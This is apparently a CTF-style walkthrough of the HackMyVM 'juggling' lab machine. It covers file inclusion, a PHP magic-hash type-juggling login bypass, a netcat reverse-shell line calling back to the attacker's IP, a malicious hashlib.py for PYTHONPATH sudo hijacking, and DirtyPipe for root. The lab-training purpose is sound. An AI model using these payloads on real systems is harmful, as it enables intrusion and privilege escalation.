当前位置:网站首页>hackmyvm: juggling walkthrough
hackmyvm: juggling walkthrough
2022-08-02 03:59:00 【xdeclearn】
1. get first shell
port scan:
add juggling.hmv
to hosts and browsing port 80.
there is a file inclusion in the url blog.php?page=test
use this url by php pseudo-protocol, we get the source code of index.php
.
base64 decode:
<?php
session_start();
require_once("sqldb_config.php");
if(isset($_SESSION['username'])) {
header("Location: admin.php");
die();
}
if (isset($_POST['submit'])) {
$username = $_POST['username'];
$password = $_POST['password'];
$val1 = $_POST['val1'];
$val2 = $_POST['val2'];
$magicval = strcasecmp($val1,$val2);
$key = md5("$username".$password);
if (empty($val) && empty($val2)) {
echo '<br><h1 style="text-align:center;color:red;"> Value 1 and Value2 can\'t be Empty </h1>';
header("Refresh:3");
} else {
if ($val1 === $val2) {
echo '<br><h1 style="text-align:center;color:red;"> Value 1 and Value2 can\'t be Same </h1>';
header("Refresh:3");
} else {
if ($key == number_format($magicval * 1337)) {
$_SESSION['username'] = "ryan";
header("Location: admin.php"); die();
# header("Location: http://s3cur3.juggling.hmv/index.php");
header("Location: ../s3cur3/index.php");
} else {
header("Refresh:3");
}
}
}
}
?>
get a new url from the source code ../s3cur3/index.php
and new host s3cur3.juggling.hmv
. Add this host to hosts. By file inclusion see the index.php source code. Find eval
, but this also need session.
how to get the session?
from the first code, set username=s87892
, password=6199a
(you can use other username and password, please visit https://github.com/spaze/hashes/blob/master/md5.md), so the md5(“$username”.$password) for key is 0e545993274517709034328855841020
. set val1=test
, val2=TEST
, so the number_format($magicval * 1337) is 0
. By md5 equal bypass
, we get the session.
use this session, use post method to visit http://s3cur3.juggling.hmv/index.php. Finally by test.txt, write a simple shell
test.php`.
content in test.txt
: system("/bin/nc -e /bin/bash 192.168.85.169 4444");
get the first shell.
2. get the user’s privilege
check sudo, find user rehan can run md5.py with no password and can set the env. so change the env “PYTHONPATH” to user-defined paht “/tmp/test”, and there is a python file named hashlib.py
.
import os
class Test(object):
def __init__(self, test):
self.test = test
def hexdigest(self):
return self.test
def md5(test):
os.system("/bin/bash -i")
return Test(test)
run command: sudo -u rehan PYTHONPATH=/tmp/test /opt/md5.py
, get the user rehan
.
3. get root
use CVE-2022-0847, get root privilege.
边栏推荐
- 逍遥多开模拟器ADB驱动连接
- 阿里云MySQL5.7安装以及部分主要问题(总和)
- 1.初识PHP
- IP access control: teach you how to implement an IP firewall with PHP
- (5) 模块与包、编码格式、文件操作、目录操作
- CTF入门笔记之ping
- [campo/random-user-agent] Randomly fake your User-Agent
- The Error in the render: "TypeError: always read the properties of null '0' (reading)" Error solution
- 如何根据地图上的两个坐标点来确定方向
- Masashi: 1 vulnhub walkthrough
猜你喜欢
js __proto__、prototype、constructor的关系
Kali install IDEA
What are the PHP framework?
DVWA靶机安装教程
(1)Thinkphp6入门、安装视图、模板渲染、变量赋值
Several interesting ways to open PHP: from basic to perverted
ES6迭代器解释举例
Shuriken: 1 vulnhub walkthrough
IP access control: teach you how to implement an IP firewall with PHP
PHP Foundation March Press Announcement Released
随机推荐
稳定好用的短连接生成平台,支持API批量生成
阿里云服务器如何使用admin账户登录
QR code generation API interface, which can be directly connected as an A tag
ES6三点运算符、数组方法、字符串扩展方法
TypeScript 错误 error TS2469、error TS2731 解决办法
Add a full image watermark to an image in PHP
宝塔邮局邮箱设置成功后能发送不能接收问题处理
Query the indexes of all tables in the database and parse them into sql
Eric靶机渗透测试通关全教程
uniapp | 官方提供的map组件使用问题
[symfony/mailer]一个优雅易用的发送邮件类库
vim edit mode
如何根据地图上的两个坐标点来确定方向
[mikehaertl/php-shellcommand]一个用于调用外部命令操作的库
MySql Advanced -- Constraints
PHP8.2 version release administrator and release plan
hackmyvm-hopper walkthrough
(5) 模块与包、编码格式、文件操作、目录操作
14. JS Statements and Comments, Variables and Data Types
(6) 学生信息管理系统设计